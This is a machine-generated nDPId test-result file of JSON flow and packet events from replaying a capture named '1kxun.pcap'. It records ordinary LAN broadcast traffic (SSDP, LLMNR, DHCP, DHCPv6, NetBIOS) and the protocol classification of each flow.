+00496{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1470104395656,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.7","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1470104395656,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.7","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1470104402518,"flow_last_seen":0,"flow_tot_l4_data_len":143,"flow_min_l4_data_len":143,"flow_max_l4_data_len":143,"flow_avg_l4_data_len":143,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.1","dst_ip":"255.255.255.255","src_port":56861,"dst_port":5678,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1470104402518,"flow_last_seen":0,"flow_tot_l4_data_len":143,"flow_min_l4_data_len":143,"flow_max_l4_data_len":143,"flow_avg_l4_data_len":143,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.1","dst_ip":"255.255.255.255","src_port":56861,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1470104399854,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.100","dst_ip":"255.255.255.255","src_port":50925,"dst_port":5678,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1470104399854,"flow_last_seen":0,"flow_tot_l4_data_len":108,"flow_min_l4_data_len":108,"flow_max_l4_data_len":108,"flow_avg_l4_data_len":108,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.100","dst_ip":"255.255.255.255","src_port":50925,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1470104402518,"flow_last_seen":0,"flow_tot_l4_data_len":143,"flow_min_l4_data_len":143,"flow_max_l4_data_len":143,"flow_avg_l4_data_len":143,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e5e:cff:feea:365","dst_ip":"ff02::1","src_port":5678,"dst_port":5678,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1470104402518,"flow_last_seen":0,"flow_tot_l4_data_len":143,"flow_min_l4_data_len":143,"flow_max_l4_data_len":143,"flow_avg_l4_data_len":143,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e5e:cff:feea:365","dst_ip":"ff02::1","src_port":5678,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1470104401904,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.212","dst_ip":"255.255.255.255","src_port":32768,"dst_port":1947,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1470104401904,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"59.120.208.212","dst_ip":"255.255.255.255","src_port":32768,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1470104403134,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"224.0.0.252","src_port":58702,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":101,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":134617,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYzEACABFAAA2Ow0AAAER19nAqAUs4AAA\/OVOFOsAIo78hQUAAAABAAAAAAAACGphc29uLVBDAAD\/AAE="} +00506{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":101,"flow_packet_id":1,"flow_first_seen":1470104403134,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.44","dst_ip":"224.0.0.252","src_port":58702,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +01096{"flow_id":91,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":905,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":137697,"pkt_caplen":562,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":562,"pkt_l4_len":528,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIkCfcAAAQR9P7AqAUx7\/\/\/+gdsB2wCELIPTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovLzE5Mi4xNjguNS40OToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +01131{"flow_id":92,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":906,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":137870,"pkt_caplen":590,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":590,"pkt_l4_len":536,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAhgRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIYYQNOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46bWljcm9zb2Z0LmNvbTpzZXJ2aWNlOlhfTVNfTWVkaWFSZWNlaXZlclJlZ2lzdHJhcjoxDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vW2ZlODA6OjliZDo4MWRkOjJmZGM6NTc1MF06Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOm1pY3Jvc29mdC5jb206c2VydmljZTpYX01TX01lZGlhUmVjZWl2ZXJSZWdpc3RyYXI6MQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +00430{"flow_id":101,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":908,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":234152,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD8SNIkYzEACABFAAA2Ow8AAAER19fAqAUs4AAA\/OVOFOsAIo78hQUAAAABAAAAAAAACGphc29uLVBDAAD\/AAE="} +00579{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":909,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":234226,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMRUAAAER0lvAqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":910,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":341213,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOxIAAAERyGvAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +01076{"flow_id":91,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":913,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":438825,"pkt_caplen":548,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":548,"pkt_l4_len":514,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIWCfgAAAQR9QvAqAUx7\/\/\/+gdsB2wCAmnTTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb25uZWN0aW9uTWFuYWdlcjoxDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vMTkyLjE2OC41LjQ5OjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29ubmVjdGlvbk1hbmFnZXI6MQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +01110{"flow_id":92,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":914,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":438989,"pkt_caplen":576,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":576,"pkt_l4_len":522,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAgoRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIKzRJOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly9bZmU4MDo6OWJkOjgxZGQ6MmZkYzo1NzUwXToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbm5lY3Rpb25NYW5hZ2VyOjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01073{"flow_id":91,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":916,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":541779,"pkt_caplen":546,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":546,"pkt_l4_len":512,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIUCfkAAAQR9QzAqAUx7\/\/\/+gdsB2wCAPPDTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly8xOTIuMTY4LjUuNDk6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpDb250ZW50RGlyZWN0b3J5OjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01110{"flow_id":92,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":917,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":542057,"pkt_caplen":574,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":574,"pkt_l4_len":520,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAggRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAIIordOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkNvbnRlbnREaXJlY3Rvcnk6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovL1tmZTgwOjo5YmQ6ODFkZDoyZmRjOjU3NTBdOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6Q29udGVudERpcmVjdG9yeToxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +00808{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":920,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":746144,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNJZXAgEGAHs0dBEAAIAAwKgFJMCoBSTAqHcBAAAAAAAmWsJjVQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQEKgioX8MMe8wtdP8AAAAA"} +00583{"flow_id":82,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":922,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":852168,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAAClDVwAAAER9hnAqAUw7\/\/\/+sIlB2wAkY1JTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":925,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1470104404055,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::beee:7bff:fe0c:b3de","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":102,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":925,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104404,"pkt_ts_usec":55376,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACvO57DLPeht1gAAAAACwRAf6AAAAAAAAAvu57\/\/4Ms97\/AgAAAAAAAAAAAAAAAQACAiICIwAsfbcLBzLAAAEADgABAAEa5zhrJpdxkWmjAAgAAgAAAAYABAAXABg="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":925,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":102,"flow_packet_id":1,"flow_first_seen":1470104404055,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::beee:7bff:fe0c:b3de","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","ndpi": {"proto":"DHCPV6","breed":"Acceptable","category":"Network"}} +01058{"flow_id":91,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":930,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104404,"pkt_ts_usec":258276,"pkt_caplen":534,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":534,"pkt_l4_len":500,"pkt":"AQBef\/\/66LH8q\/uyCABFAAIICfoAAAQR9RfAqAUx7\/\/\/+gdsB2wB9PpOTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhU2VydmVyOjENCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly8xOTIuMTY4LjUuNDk6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMjo6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhU2VydmVyOjENCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +01095{"flow_id":92,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":931,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104404,"pkt_ts_usec":258391,"pkt_caplen":562,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":562,"pkt_l4_len":508,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAfwRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAH8qUJOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6TWVkaWFTZXJ2ZXI6MQ0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovL1tmZTgwOjo5YmQ6ODFkZDoyZmRjOjU3NTBdOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpNZWRpYVNlcnZlcjoxDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTkwMA0KU2VydmVyOiBNaWNyb3NvZnQtV2luZG93cy8xMC4wIFVQblAvMS4wIFVQblAtRGV2aWNlLUhvc3QvMS4wDQpPUFQ6Imh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7IG5zPTAxDQowMS1OTFM6IGQwN2I0MzVkMjk5YjQxNzg0Y2EzZDJhZTJiOTU5OTQ4DQoNCg=="} +00469{"flow_id":73,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":932,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104404,"pkt_ts_usec":463054,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH3kAAIARlenAqAPswKj\/\/wCJAIkAOkhKiloBEAABAAAAAAAAIEZERVBFT0ZGRkRFT0VGRkVGSEVQRkNFTEZEQ0FDQUJNAAAgAAE="} +00469{"flow_id":73,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":937,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104405,"pkt_ts_usec":283852,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH30AAIARleXAqAPswKj\/\/wCJAIkAOkhKiloBEAABAAAAAAAAIEZERVBFT0ZGRkRFT0VGRkVGSEVQRkNFTEZEQ0FDQUJNAAAgAAE="} 